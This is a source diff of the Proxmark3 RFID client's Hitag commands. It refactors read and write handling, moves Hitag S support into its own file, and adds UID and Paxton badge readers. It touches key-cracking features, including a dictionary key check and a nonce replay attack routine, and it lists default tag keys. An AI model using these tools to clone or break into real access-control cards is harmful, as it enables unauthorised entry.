return PM3_SUCCESS; } @@ -898,17 +921,13 @@ static int CmdLFHitagRd(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "lf hitag read", - "Read Hitag memory. It support Hitag S and Hitag 2\n\n" + "Read Hitag memory. It support Hitag 2\n\n" " Password mode:\n" " - default key 4D494B52 (MIKR)\n\n" " Crypto mode: \n" " - key format ISK high + ISK low\n" " - default key 4F4E4D494B52 (ONMIKR)\n" , - " lf hitag read --hts -> Hitag S, plain mode\n" - " lf hitag read --hts --nrar 0102030411223344 -> Hitag S, challenge mode\n" - " lf hitag read --hts --crypto -> Hitag S, crypto mode, def key\n" - " lf hitag read --hts -k 4F4E4D494B52 -> Hitag S, crypto mode\n\n" " lf hitag read --ht2 --pwd -> Hitag 2, pwd mode, def key\n" " lf hitag read --ht2 -k 4D494B52 -> Hitag 2, pwd mode\n" " lf hitag read --ht2 --nrar 0102030411223344 -> Hitag 2, challenge mode\n" @@ -918,7 +937,6 @@ static int CmdLFHitagRd(const char *Cmd) { void *argtable[] = { arg_param_begin, - arg_lit0("s", "hts", "Hitag S"), arg_lit0("2", "ht2", "Hitag 2"), arg_lit0(NULL, "pwd", "password mode"), arg_str0(NULL, "nrar", "", "nonce / answer writer, 8 hex bytes"), @@ -931,25 +949,24 @@ static int CmdLFHitagRd(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, false); bool use_ht1 = false; // not yet implemented - bool use_hts = arg_get_lit(ctx, 1); - bool use_ht2 = arg_get_lit(ctx, 2); + bool use_ht2 = arg_get_lit(ctx, 1); bool use_htm = false; // not yet implemented bool use_plain = false; - bool use_pwd = arg_get_lit(ctx, 3); + bool use_pwd = arg_get_lit(ctx, 2); uint8_t nrar[8]; int nalen = 0; - int res = CLIParamHexToBuf(arg_get_str(ctx, 4), nrar, sizeof(nrar), &nalen); + int res = CLIParamHexToBuf(arg_get_str(ctx, 3), nrar, sizeof(nrar), &nalen); if (res != 0) { CLIParserFree(ctx); return PM3_EINVARG; } bool use_nrar = nalen > 0; - bool use_crypto = arg_get_lit(ctx, 5); + bool use_crypto = arg_get_lit(ctx, 4); uint8_t key[6]; int keylen = 0; - res = CLIParamHexToBuf(arg_get_str(ctx, 6), key, sizeof(key), &keylen); + res = CLIParamHexToBuf(arg_get_str(ctx, 5), key, sizeof(key), &keylen); if (res != 0) { CLIParserFree(ctx); return PM3_EINVARG; @@ -959,11 +976,11 @@ static int CmdLFHitagRd(const char *Cmd) { CLIParserFree(ctx); // sanity checks - if ((use_ht1 + use_ht2 + use_hts + use_htm) > 1) { + if ((use_ht1 + use_ht2 + use_htm) > 1) { PrintAndLogEx(ERR, "error, specify only one Hitag type"); return PM3_EINVARG; } - if ((use_ht1 + use_ht2 + use_hts + use_htm) == 0) { + if ((use_ht1 + use_ht2 + use_htm) == 0) { PrintAndLogEx(ERR, "error, specify one Hitag type"); return PM3_EINVARG; } @@ -1000,16 +1017,7 @@ static int CmdLFHitagRd(const char *Cmd) { PrintAndLogEx(WARNING, "Specify only one authentication mode"); return PM3_EINVARG; } else if (foo == 0) { - if (use_hts) { - use_plain = true; - } else { - PrintAndLogEx(WARNING, "Specify one authentication mode"); - return PM3_EINVARG; - } - } - - if (use_hts && use_pwd) { // not sure for the other types... - PrintAndLogEx(WARNING, "Chosen Hitag type does not have Password mode"); + PrintAndLogEx(WARNING, "Specify one authentication mode"); return PM3_EINVARG; } @@ -1022,32 +1030,19 @@ static int CmdLFHitagRd(const char *Cmd) { memset(&packet, 0, sizeof(packet)); int pm3cmd; - if (use_hts) { - // plain mode? - pm3cmd = CMD_LF_HITAGS_READ; - } else if (use_hts && use_nrar) { - pm3cmd = CMD_LF_HITAGS_READ; - packet.cmd = RHTSF_CHALLENGE; - memcpy(packet.NrAr, nrar, sizeof(packet.NrAr)); - - } else if (use_hts && use_crypto) { - pm3cmd = CMD_LF_HITAGS_READ; - packet.cmd = RHTSF_KEY; - memcpy(packet.key, key, sizeof(packet.key)); - - } else if (use_ht2 && use_pwd) { + if (use_ht2 && use_pwd) { pm3cmd = CMD_LF_HITAG_READER; - packet.cmd = RHT2F_PASSWORD; + packet.cmd = HT2F_PASSWORD; memcpy(packet.pwd, key, sizeof(packet.pwd)); } else if (use_ht2 && use_nrar) { pm3cmd = CMD_LF_HITAG_READER; - packet.cmd = RHT2F_AUTHENTICATE; + packet.cmd = HT2F_AUTHENTICATE; memcpy(packet.NrAr, nrar, sizeof(packet.NrAr)); } else if (use_ht2 && use_crypto) { pm3cmd = CMD_LF_HITAG_READER; - packet.cmd = RHT2F_CRYPTO; + packet.cmd = HT2F_CRYPTO; memcpy(packet.key, key, sizeof(packet.key)); } else { PrintAndLogEx(WARNING, "Sorry, not yet implemented"); @@ -1059,7 +1054,7 @@ static int CmdLFHitagRd(const char *Cmd) { PacketResponseNG resp; if (WaitForResponseTimeout(pm3cmd, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); SendCommandNG(CMD_BREAK_LOOP, NULL, 0); return PM3_ETIMEOUT; } @@ -1079,7 +1074,7 @@ static int CmdLFHitagRd(const char *Cmd) { if (use_ht2) { print_hitag2_blocks(data, HITAG2_MAX_BYTE_SIZE); - print_hitag2_paxton(data); + print_hitag2_paxton(true, data); } else { print_hex_break(data, HITAG_MAX_BYTE_SIZE, HITAG_BLOCK_SIZE); } @@ -1142,13 +1137,13 @@ static int CmdLFHitag2CheckChallenges(const char *Cmd) { lf_hitag_data_t packet; memset(&packet, 0, sizeof(lf_hitag_data_t)); - packet.cmd = RHT2F_TEST_AUTH_ATTEMPTS; + packet.cmd = HT2F_TEST_AUTH_ATTEMPTS; clearCommandBuffer(); SendCommandNG(CMD_LF_HITAG_READER, (uint8_t *)&packet, sizeof(packet)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_LF_HITAG_READER, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } if (resp.status != PM3_SUCCESS) { @@ -1163,17 +1158,13 @@ static int CmdLFHitag2CheckChallenges(const char *Cmd) { static int CmdLFHitagWriter(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "lf hitag wrbl", - "Write a page in Hitag memory. It support HitagS and Hitag 2\n" + "Write a page in Hitag memory. It support Hitag 2\n" " Password mode:\n" " - default key 4D494B52 (MIKR)\n\n" " Crypto mode: \n" " - key format ISK high + ISK low\n" " - default key 4F4E4D494B52 (ONMIKR)\n" , - " lf hitag wrbl --hts -p 6 -d 01020304 -> HitagS, plain mode\n" - " lf hitag wrbl --hts -p 6 -d 01020304 --nrar 0102030411223344 -> HitagS, challenge mode\n" - " lf hitag wrbl --hts -p 6 -d 01020304 --crypto -> HitagS, crypto mode, def key\n" - " lf hitag wrbl --hts -p 6 -d 01020304 -k 4F4E4D494B52 -> HitagS, crypto mode\n\n" " lf hitag wrbl --ht2 -p 6 -d 01020304 --pwd -> Hitag 2, pwd mode, def key\n" " lf hitag wrbl --ht2 -p 6 -d 01020304 -k 4D494B52 -> Hitag 2, pwd mode\n" " lf hitag wrbl --ht2 -p 6 -d 01020304 --nrar 0102030411223344 -> Hitag 2, challenge mode\n" @@ -1183,7 +1174,6 @@ static int CmdLFHitagWriter(const char *Cmd) { void *argtable[] = { arg_param_begin, - arg_lit0("s", "hts", "Hitag S"), arg_lit0("2", "ht2", "Hitag 2"), arg_lit0(NULL, "pwd", "password mode"), arg_str0(NULL, "nrar", "", "nonce / answer writer, 8 hex bytes"), @@ -1196,35 +1186,34 @@ static int CmdLFHitagWriter(const char *Cmd) { CLIExecWithReturn(ctx, Cmd, argtable, false); bool use_ht1 = false; // not yet implemented - bool use_hts = arg_get_lit(ctx, 1); - bool use_ht2 = arg_get_lit(ctx, 2); + bool use_ht2 = arg_get_lit(ctx, 1); bool use_htm = false; // not yet implemented bool use_plain = false; - bool use_pwd = arg_get_lit(ctx, 3); + bool use_pwd = arg_get_lit(ctx, 2); uint8_t nrar[8]; int nalen = 0; - int res = CLIParamHexToBuf(arg_get_str(ctx, 4), nrar, sizeof(nrar), &nalen); + int res = CLIParamHexToBuf(arg_get_str(ctx, 3), nrar, sizeof(nrar), &nalen); if (res != 0) { CLIParserFree(ctx); return PM3_EINVARG; } bool use_nrar = nalen > 0; - bool use_crypto = arg_get_lit(ctx, 5); + bool use_crypto = arg_get_lit(ctx, 4); uint8_t key[6]; int keylen = 0; - res = CLIParamHexToBuf(arg_get_str(ctx, 6), key, sizeof(key), &keylen); + res = CLIParamHexToBuf(arg_get_str(ctx, 5), key, sizeof(key), &keylen); if (res != 0) { CLIParserFree(ctx); return PM3_EINVARG; } - int page = arg_get_int_def(ctx, 7, 0); + int page = arg_get_int_def(ctx, 6, 0); uint8_t data[4]; int dlen = 0; - res = CLIParamHexToBuf(arg_get_str(ctx, 8), data, sizeof(data), &dlen); + res = CLIParamHexToBuf(arg_get_str(ctx, 7), data, sizeof(data), &dlen); if (res != 0) { CLIParserFree(ctx); return PM3_EINVARG; @@ -1233,11 +1222,11 @@ static int CmdLFHitagWriter(const char *Cmd) { CLIParserFree(ctx); // sanity checks - if ((use_ht1 + use_ht2 + use_hts + use_htm) > 1) { + if ((use_ht1 + use_ht2 + use_htm) > 1) { PrintAndLogEx(ERR, "error, specify only one Hitag type"); return PM3_EINVARG; } - if ((use_ht1 + use_ht2 + use_hts + use_htm) == 0) { + if ((use_ht1 + use_ht2 + use_htm) == 0) { PrintAndLogEx(ERR, "error, specify one Hitag type"); return PM3_EINVARG; } @@ -1279,16 +1268,7 @@ static int CmdLFHitagWriter(const char *Cmd) { PrintAndLogEx(WARNING, "Specify only one authentication mode"); return PM3_EINVARG; } else if (foo == 0) { - if (use_hts) { - use_plain = true; - } else { - PrintAndLogEx(WARNING, "Specify one authentication mode"); - return PM3_EINVARG; - } - } - - if (use_hts && use_pwd) { // not sure for the other types... - PrintAndLogEx(WARNING, "Chosen Hitag type does not have Password mode"); + PrintAndLogEx(WARNING, "Specify one authentication mode"); return PM3_EINVARG; } @@ -1300,36 +1280,15 @@ static int CmdLFHitagWriter(const char *Cmd) { lf_hitag_data_t packet; memset(&packet, 0, sizeof(packet)); - if (use_hts && use_plain) { - packet.cmd = WHTSF_PLAIN; - packet.page = page; - memcpy(packet.data, data, sizeof(data)); - - PrintAndLogEx(INFO, "Write to " _YELLOW_("Hitag S") " in Plain mode"); - - } else if (use_hts && use_nrar) { - packet.cmd = WHTSF_CHALLENGE; - memcpy(packet.NrAr, nrar, sizeof(packet.NrAr)); - memcpy(packet.data, data, sizeof(data)); - // iceman: No page in Hitag S ? - PrintAndLogEx(INFO, "Authenticating to " _YELLOW_("Hitag S") " in Challenge mode"); - - } else if (use_hts && use_crypto) { - packet.cmd = WHTSF_KEY; - memcpy(packet.key, key, sizeof(packet.key)); - memcpy(packet.data, data, sizeof(data)); - // iceman: No page in Hitag S ? - PrintAndLogEx(INFO, "Authenticating to " _YELLOW_("Hitag S") " in Crypto mode"); - - } else if (use_ht2 && use_pwd) { - packet.cmd = WHT2F_PASSWORD; + if (use_ht2 && use_pwd) { + packet.cmd = HT2F_PASSWORD; packet.page = page; memcpy(packet.pwd, key, sizeof(packet.pwd)); memcpy(packet.data, data, sizeof(data)); PrintAndLogEx(INFO, "Authenticating to " _YELLOW_("Hitag 2") " in Password mode"); } else if (use_ht2 && use_crypto) { - packet.cmd = WHT2F_CRYPTO; + packet.cmd = HT2F_CRYPTO; packet.page = page; memcpy(packet.key, key, sizeof(packet.key)); memcpy(packet.data, data, sizeof(data)); @@ -1346,7 +1305,7 @@ static int CmdLFHitagWriter(const char *Cmd) { SendCommandNG(CMD_LF_HITAG2_WRITE, (uint8_t *)&packet, sizeof(packet)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_LF_HITAG2_WRITE, &resp, 4000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -1360,24 +1319,6 @@ static int CmdLFHitagWriter(const char *Cmd) { return resp.status; } - } else { - - SendCommandNG(CMD_LF_HITAGS_WRITE, (uint8_t *)&packet, sizeof(packet)); - PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_LF_HITAGS_WRITE, &resp, 4000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); - return PM3_ETIMEOUT; - } - - if (resp.status == PM3_ETEAROFF) { - PrintAndLogEx(INFO, "Writing tear off triggered"); - return PM3_SUCCESS; - } - - if (resp.status != PM3_SUCCESS) { - PrintAndLogEx(FAILED, "Write ( " _RED_("fail") " )"); - return resp.status; - } } PrintAndLogEx(SUCCESS, "Write ( " _GREEN_("ok") " )"); @@ -1515,12 +1456,12 @@ static int CmdLFHitag2Dump(const char *Cmd) { memset(&packet, 0, sizeof(packet)); if (use_ht2 && use_pwd) { - packet.cmd = RHT2F_PASSWORD; + packet.cmd = HT2F_PASSWORD; memcpy(packet.pwd, key, sizeof(packet.pwd)); PrintAndLogEx(INFO, "Authenticating to " _YELLOW_("Hitag 2") " in Password mode"); } else if (use_ht2 && use_crypto) { - packet.cmd = RHT2F_CRYPTO; + packet.cmd = HT2F_CRYPTO; memcpy(packet.key, key, sizeof(packet.key)); PrintAndLogEx(INFO, "Authenticating to " _YELLOW_("Hitag 2") " in Crypto mode"); @@ -1587,7 +1528,7 @@ static int CmdLFHitag2Dump(const char *Cmd) { if (attempt == 0) { PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ESOFT; } @@ -1605,7 +1546,7 @@ static int CmdLFHitag2Dump(const char *Cmd) { SendCommandNG(CMD_LF_HITAG_READER, (uint8_t *) &packet, sizeof(packet)); if (WaitForResponseTimeout(CMD_LF_HITAG_READER, &resp, 5000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } if (resp.status != PM3_SUCCESS) { @@ -1624,7 +1565,7 @@ out: if (use_ht2) { print_hitag2_configuration(uid, data[HITAG_BLOCK_SIZE * 3]); print_hitag2_blocks(data, HITAG2_MAX_BYTE_SIZE); - print_hitag2_paxton(data); + print_hitag2_paxton(true, data); } else { PrintAndLogEx(INFO, "No memory printing available"); } @@ -1685,7 +1626,7 @@ static int CmdLFHitagView(const char *Cmd) { uint8_t config = dump[HITAG2_CONFIG_OFFSET]; uint32_t uid = bytes_to_num(dump, HITAG_UID_SIZE); print_hitag2_configuration(uid, config); - print_hitag2_paxton(dump); + print_hitag2_paxton(true, dump); } print_hitag2_blocks(dump, HITAG2_MAX_BYTE_SIZE); free(dump); @@ -1739,7 +1680,12 @@ static int CmdLFHitagEload(const char *Cmd) { // check dump len.. if (bytes_read == HITAG2_MAX_BYTE_SIZE || bytes_read == 4 * 64) { - lf_hitag_t *payload = calloc(1, sizeof(lf_hitag_t) + bytes_read); + lf_hitag_t *payload = calloc(1, sizeof(lf_hitag_t) + bytes_read); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(dump); + return PM3_EMALLOC; + } if (use_ht1) payload->type = 1; @@ -1784,7 +1730,7 @@ static int CmdLFHitagEview(const char *Cmd) { // reserve memory uint8_t *dump = calloc(bytes, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(WARNING, "Fail, cannot allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1800,7 +1746,7 @@ static int CmdLFHitagEview(const char *Cmd) { uint8_t config = dump[HITAG2_CONFIG_OFFSET]; uint32_t uid = bytes_to_num(dump, HITAG_UID_SIZE); print_hitag2_configuration(uid, config); - print_hitag2_paxton(dump); + print_hitag2_paxton(true, dump); } print_hitag2_blocks(dump, HITAG2_MAX_BYTE_SIZE); free(dump); @@ -1819,22 +1765,20 @@ static int CmdLFHitagSim(const char *Cmd) { arg_param_begin, arg_lit0("1", "ht1", "simulate Hitag 1"), arg_lit0("2", "ht2", "simulate Hitag 2"), - arg_lit0("s", "hts", "simulate Hitag S"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); bool use_ht1 = arg_get_lit(ctx, 1); bool use_ht2 = arg_get_lit(ctx, 2); - bool use_hts = arg_get_lit(ctx, 3); bool use_htm = false; // not implemented yet CLIParserFree(ctx); - if ((use_ht1 + use_ht2 + use_hts + use_htm) > 1) { + if ((use_ht1 + use_ht2 + use_htm) > 1) { PrintAndLogEx(ERR, "error, specify only one Hitag type"); return PM3_EINVARG; } - if ((use_ht1 + use_ht2 + use_hts + use_htm) == 0) { + if ((use_ht1 + use_ht2 + use_htm) == 0) { PrintAndLogEx(ERR, "error, specify one Hitag type"); return PM3_EINVARG; } @@ -1843,9 +1787,6 @@ static int CmdLFHitagSim(const char *Cmd) { // if (use_ht1) // cmd = CMD_LF_HITAG1_SIMULATE; - if (use_hts) - cmd = CMD_LF_HITAGS_SIMULATE; - clearCommandBuffer(); SendCommandMIX(cmd, 0, 0, 0, NULL, 0); return PM3_SUCCESS; @@ -1854,7 +1795,7 @@ static int CmdLFHitagSim(const char *Cmd) { static int CmdLFHitagSniff(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "lf hitag sniff", - "Sniff the communication between reader and tag.\n" + "Sniff the communication between reader and tag\n" "Use `lf hitag list` to view collected data.", " lf hitag sniff" ); @@ -1873,8 +1814,8 @@ static int CmdLFHitagSniff(const char *Cmd) { SendCommandNG(CMD_LF_HITAG_SNIFF, NULL, 0); WaitForResponse(CMD_LF_HITAG_SNIFF, &resp); PrintAndLogEx(INFO, "Done!"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("lf hitag list")"` to view captured tracelog"); - PrintAndLogEx(HINT, "Try `" _YELLOW_("trace save -h") "` to save tracelog for later analysing"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("lf hitag list")"` to view captured tracelog"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("trace save -h") "` to save tracelog for later analysing"); return PM3_SUCCESS; } @@ -1904,7 +1845,7 @@ static int CmdLFHitag2PWMDemod(const char *Cmd) { uint8_t *bits = calloc(MAX_GRAPH_TRACE_LEN, sizeof(uint8_t)); if (bits == NULL) { - PrintAndLogEx(INFO, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -1952,7 +1893,7 @@ static int CmdLFHitag2Chk(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "lf hitag chk", "Run dictionary key or password recovery against Hitag card.", - "lf hitag chk\n -> checks for both pwd / crypto keys" + "lf hitag chk -> checks for both pwd / crypto keys\n" "lf hitag chk --crypto -> use def dictionary\n" "lf hitag chk --pwd -f my.dic -> pwd mode, custom dictionary" ); @@ -2021,6 +1962,12 @@ static int CmdLFHitag2Chk(const char *Cmd) { break; } free(keys); + + PrintAndLogEx(NORMAL, ""); + + if (use_pwd) { + break; + } } t1 = msclock() - t1; @@ -2302,7 +2249,7 @@ static int CmdLFHitag2Crack2(const char *Cmd) { } PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, "Nonce replay and length extension attack ( %s )", _GREEN_("ok")); - PrintAndLogEx(HINT, "try running `tools/hitag2crack/crack2/ht2crack2search "); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("tools/hitag2crack/crack2/ht2crack2search ") "`"); break; } else { PrintAndLogEx(NORMAL, ""); @@ -2314,7 +2261,7 @@ static int CmdLFHitag2Crack2(const char *Cmd) { if (attempt == 0) { PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ESOFT; } @@ -2385,9 +2332,9 @@ static uint64_t hitag2_verify_crypto_test(void) { // key = 0x4ad292b272f2 after each byte has its bit order reversed // uid = 0x96eac292 ditto // initvec = 0x4ea276a6 ditto - const uint64_t key = REV64(0x524B494D4E4FUL); - const uint32_t uid = REV32(0x69574349); - const uint32_t iv = REV32(0x72456E65); + const uint64_t key = REV64(UINT64_C(0x524B494D4E4F)); + const uint32_t uid = REV32(UINT32_C(0x69574349)); + const uint32_t iv = REV32(UINT32_C(0x72456E65)); PrintAndLogEx(DEBUG, "UID... %08" PRIx32, uid); PrintAndLogEx(DEBUG, "IV.... %08" PRIx32, iv); @@ -2414,9 +2361,9 @@ static uint64_t hitag2_verify_crypto_test(void) { static uint64_t hitag2_verify_crypto_test_round(void) { uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 }; - const uint64_t key = REV64(0x524B494D4E4FUL); - const uint32_t uid = REV32(0x69574349); - const uint32_t iv = REV32(0x72456E65); + const uint64_t key = REV64(UINT64_C(0x524B494D4E4F)); + const uint32_t uid = REV32(UINT32_C(0x69574349)); + const uint32_t iv = REV32(UINT32_C(0x72456E65)); PrintAndLogEx(DEBUG, "UID... %08" PRIx32, uid); PrintAndLogEx(DEBUG, "IV.... %08" PRIx32, iv); @@ -2475,12 +2422,53 @@ static int CmdLFHitag2Selftest(const char *Cmd) { return PM3_SUCCESS; } +int ht2_read_uid(void) { + uint32_t uid = 0; + if (ht2_get_uid(&uid) == false) { + return PM3_ESOFT; + } + + PrintAndLogEx(SUCCESS, "UID....... " _GREEN_("%08X"), uid); + PrintAndLogEx(SUCCESS, "TYPE...... " _GREEN_("%s"), getHitagTypeStr(uid)); + return PM3_SUCCESS; +} + +int ht2_read_paxton(void) { + +// read block 4,5,6,7 + + lf_hitag_data_t packet; + memset(&packet, 0, sizeof(packet)); + + packet.cmd = HT2F_PASSWORD; + memcpy(packet.pwd, ht2_default_keys, sizeof(packet.pwd)); + + clearCommandBuffer(); + SendCommandNG(CMD_LF_HITAG_READER, (uint8_t *)&packet, sizeof(packet)); + + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_LF_HITAG_READER, &resp, 2000) == false) { + SendCommandNG(CMD_BREAK_LOOP, NULL, 0); + return PM3_ETIMEOUT; + } + + if (resp.status != PM3_SUCCESS) { + PrintAndLogEx(DEBUG, "DEBUG: Error - hitag failed"); + return PM3_ESOFT; + } + + uint8_t *data = resp.data.asBytes; + print_hitag2_paxton(false, data); + return PM3_SUCCESS; +} + static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, {"list", CmdLFHitagList, AlwaysAvailable, "List Hitag trace history"}, - {"hts", CmdLFHitagS, AlwaysAvailable, "{ Hitag S/8211 operations }"}, + {"hts", CmdLFHitagS, AlwaysAvailable, "{ Hitag S/8211 operations }"}, + {"htu", CmdLFHitagU, AlwaysAvailable, "{ Hitag µ/8265 operations }"}, {"-----------", CmdHelp, IfPm3Hitag, "------------------------ " _CYAN_("General") " ------------------------"}, - {"info", CmdLFHitagInfo, IfPm3Hitag, "Hitag 2 tag information"}, + {"info", CmdLFHitagInfo, IfPm3Hitag, "Tag information"}, {"reader", CmdLFHitagReader, IfPm3Hitag, "Act like a Hitag 2 reader"}, {"test", CmdLFHitag2Selftest, AlwaysAvailable, "Perform self tests"}, {"-----------", CmdHelp, IfPm3Hitag, "----------------------- " _CYAN_("Operations") " -----------------------"}, @@ -2515,14 +2503,4 @@ int CmdLFHitag(const char *Cmd) { return CmdsParse(CommandTable, Cmd); } -int readHitagUid(void) { - uint32_t uid = 0; - if (getHitag2Uid(&uid) == false) { - return PM3_ESOFT; - } - - PrintAndLogEx(SUCCESS, "UID.... " _GREEN_("%08X"), uid); - PrintAndLogEx(SUCCESS, "TYPE... " _GREEN_("%s"), getHitagTypeStr(uid)); - return PM3_SUCCESS; -} diff --git a/client/src/cmdlfhitag.h b/client/src/cmdlfhitag.h index b50cc632c..5c82613cf 100644 --- a/client/src/cmdlfhitag.h +++ b/client/src/cmdlfhitag.h @@ -27,10 +27,10 @@ int CmdLFHitag(const char *Cmd); -int readHitagUid(void); +int ht2_read_uid(void); +int ht2_read_paxton(void); void annotateHitag1(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, bool is_response); void annotateHitag2(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, uint8_t bits, bool is_response, const uint64_t *keys, uint32_t keycount, bool isdecrypted); -void annotateHitagS(char *exp, size_t size, const uint8_t *cmd, uint8_t cmdsize, bool is_response); void annotateHitag2_init(void); bool hitag2_get_plain(uint8_t *plain, uint8_t *plen); diff --git a/client/src/cmdlfhitaghts.c b/client/src/cmdlfhitaghts.c index a55a46255..de6efcae3 100644 --- a/client/src/cmdlfhitaghts.c +++ b/client/src/cmdlfhitaghts.c @@ -36,116 +36,408 @@ static int CmdHelp(const char *Cmd); +void annotateHitagS(char *exp, size_t size, const uint8_t *cmd, uint8_t nbits, bool is_response) { + size_t exp_len = 0; + uint8_t command = 0; -static int CmdLFHitagSRead(const char *Cmd) { - CLIParserContext *ctx; - CLIParserInit(&ctx, "lf hitag hts read", - "Read Hitag S memory.\n\n" - " Crypto mode: \n" - " - key format ISK high + ISK low\n" - " - default key 4F4E4D494B52 (ONMIKR)\n", - " lf hitag hts read -> Hitag S, plain mode\n" - " lf hitag hts read --nrar 0102030411223344 -> Hitag S, challenge mode\n" - " lf hitag hts read --crypto -> Hitag S, crypto mode, def key\n" - " lf hitag hts read -k 4F4E4D494B52 -> Hitag S, crypto mode\n\n" - ); + if (is_response) { + // Handle responses + if (nbits == 32) { + exp_len = snprintf(exp, size, "UID: [%02X%02X%02X%02X]", cmd[0], cmd[1], cmd[2], cmd[3]); + } else if (nbits == 40) { + exp_len = snprintf(exp, size, "Data"); + } + } else if (nbits >= 5) { + concatbits(&command, 0, cmd, 0, 5, false); - void *argtable[] = { - arg_param_begin, - arg_str0(NULL, "nrar", "", "nonce / answer writer, 8 hex bytes"), - arg_lit0(NULL, "crypto", "crypto mode"), - arg_str0("k", "key", "", "key, 4 or 6 hex bytes"), - arg_param_end - }; - CLIExecWithReturn(ctx, Cmd, argtable, true); + if (nbits == 5) { + concatbits(&command, 0, cmd, 0, 5, false); + + switch (command) { + case HITAGS_UID_REQ_STD: + exp_len += snprintf(exp + exp_len, size - exp_len, "UID Request (Standard 00110)"); + break; + case HITAGS_UID_REQ_ADV1: + exp_len += snprintf(exp + exp_len, size - exp_len, "UID Request (Advanced 11000)"); + break; + case HITAGS_UID_REQ_ADV2: + exp_len += snprintf(exp + exp_len, size - exp_len, "UID Request (Advanced 11001)"); + break; + case HITAGS_UID_REQ_FADV: + exp_len += snprintf(exp + exp_len, size - exp_len, "UID Request (Fast Advanced 11010)"); + break; + } + } else if (nbits == 4 + 8 + 8) { + concatbits(&command, 0, cmd, 0, 4, false); + + if (command == HITAGS_READ_PAGE) { + exp_len += snprintf(exp + exp_len, size - exp_len, "READ"); + } else if (command == HITAGS_WRITE_PAGE) { + exp_len += snprintf(exp + exp_len, size - exp_len, "WRITE"); + } else if (command == HITAGS_READ_BLOCK) { + exp_len += snprintf(exp + exp_len, size - exp_len, "READ_BLOCK"); + } else if (command == HITAGS_WRITE_BLOCK) { + exp_len += snprintf(exp + exp_len, size - exp_len, "WRITE_BLOCK"); + } else if (command == HITAGS_QUIET) { + exp_len += snprintf(exp + exp_len, size - exp_len, "QUIET"); + } + // Hitag 1 commands + else if (command == HITAG1_RDCPAGE) { + exp_len += snprintf(exp + exp_len, size - exp_len, "RDCPAGE"); + } else if (command == HITAG1_RDCBLK) { + exp_len += snprintf(exp + exp_len, size - exp_len, "RDCBLK"); + } else if (command == HITAG1_WRCPAGE) { + exp_len += snprintf(exp + exp_len, size - exp_len, "WRCPAGE"); + } else if (command == HITAG1_WRCBLK) { + exp_len += snprintf(exp + exp_len, size - exp_len, "WRCBLK"); + } else { + exp_len += snprintf(exp + exp_len, size - exp_len, "Unknown (%02X)", command); + } + + uint8_t page = 0; + concatbits(&page, 0, cmd, 5, 8, false); + exp_len += snprintf(exp + exp_len, size - exp_len, " Page: %d", page); + } else if (nbits == 32 + 8) { + concatbits(&command, 0, cmd, 0, 5, false); + exp_len += snprintf(exp + exp_len, size - exp_len, "Data"); + } else if (nbits == 5 + 32 + 8 || nbits == 5 + 32 + 1 + 8) { + concatbits(&command, 0, cmd, 0, 5, false); + + if (command == HITAGS_SELECT) { + uint8_t uid[4] = {0}; + concatbits(uid, 0, cmd, 5, 32, false); + exp_len = snprintf(exp, size, "SELECT UID: %02X%02X%02X%02X", uid[0], uid[1], uid[2], uid[3]); + } + } + } else { + exp_len = snprintf(exp, size, "Invalid command (too short)"); + } +} + +static const char *hts_get_type_str(uint32_t uid) { + // source 1: https://www.scorpio-lk.com/downloads/Tango/HITAG_Classification.pdf + // IDE Mark + // Each HITAG chip contains an unique Device Identifier (IDE ) so called a Serial Number. + // Bit 7 ot 4 of the IDE serve the function of a chip type identification. Example. IDE is 2A 48 E2 16, the IDE mark is "1". + + // source 2: Hitag S product Specification Revision 3.1 + // 6.1.1 Product Identifier (PID) + // The Product Identifier (PID) for the HITAG S Transponder IC is coded in the UID 3 Byte of the Unique Identifier (UID). + // This enables to distinguish between different ICs of the HITAG family + // | UID 3 | + // msb | PID 1 | PID 0 | lsb + // Condition for HITAG S: PID 1 = 0x7 – 0xF and PID 0 ≠ 0x5 – 0x6 + + //uid s/n ******** + uint8_t pid0 = NIBBLE_LOW(uid); + uint8_t pid1 = NIBBLE_HIGH(uid); + if (pid1 >= 0x7 && pid1 <= 0xF && pid0 != 0x5 && pid0 